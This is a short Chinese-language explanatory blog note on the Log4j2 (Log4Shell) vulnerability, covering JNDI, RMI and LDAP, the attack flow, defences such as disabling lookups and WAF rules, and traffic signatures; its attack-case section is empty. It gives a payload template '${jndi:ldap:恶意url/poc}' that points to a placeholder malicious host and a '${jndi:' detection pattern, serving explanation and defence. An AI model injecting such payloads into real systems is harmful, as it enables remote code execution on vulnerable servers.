log4j2漏洞
- log4j2
log4j2是apache下的java应用常见的开源日志库,java日志记录工具。 - JNDI
java命名和目录接口。允许从指定的远程服务器获取并加载对象。
JNDI相当于一个映射字典,使java应用程序可以和这些命名服务器和目录服务器之间进行交互。
JNDI注入攻击时常通过RMI和LDAP两种服务,JDBC、LDAP、RMI、DNS、NIS、CORBA。
JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API。

1、RMI:远程方法调用
RMI是java提供的一种技术,允许一个程序调用位于另一个JVM中的对象的方法,就像调用本地方法一样。实现分布式系统,常用于在客户端和服务器之间传递对象和执行远程服务。


2、LDAP:轻量级目录访问协议
LDAP开放、跨平台的协议,用于访问和管理基于目录的信息,例如用户、设备和其他资源。
管理和存储用户认证信息;支持身份验证和访问控制。实现资源分层管理,如组织结构,用户组。 - log4j2漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。在lookup的{}中构造payload,调用JNDI服务向攻击者提前部署号的恶意站点获取恶意的.class对象,造成远程代码执行。(可反弹shell到指定服务器)
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

攻击者提交包含JNDI lookup的字符串
应用记录日志时触发解析
向恶意LDAP服务器发起请求
下载并执行远程恶意代码

- log4j2漏洞防御修复
出口流量限制LDAP/RMI/NIS协议
禁用JNDI查找,设置环境变量
升级版本,代码审计
防火墙拦截LDAP/RMI外连请求
使用waf规则阻断${jndi:等特征 - log4j2漏洞流量攻击特征

异常LDAP/RMI/NIS外连,常见的JNDI,ctx等正则匹配特征,构造url/Unicode编码后jndipayload, - log4j2漏洞流量攻击案例





浙公网安备 33010602011771号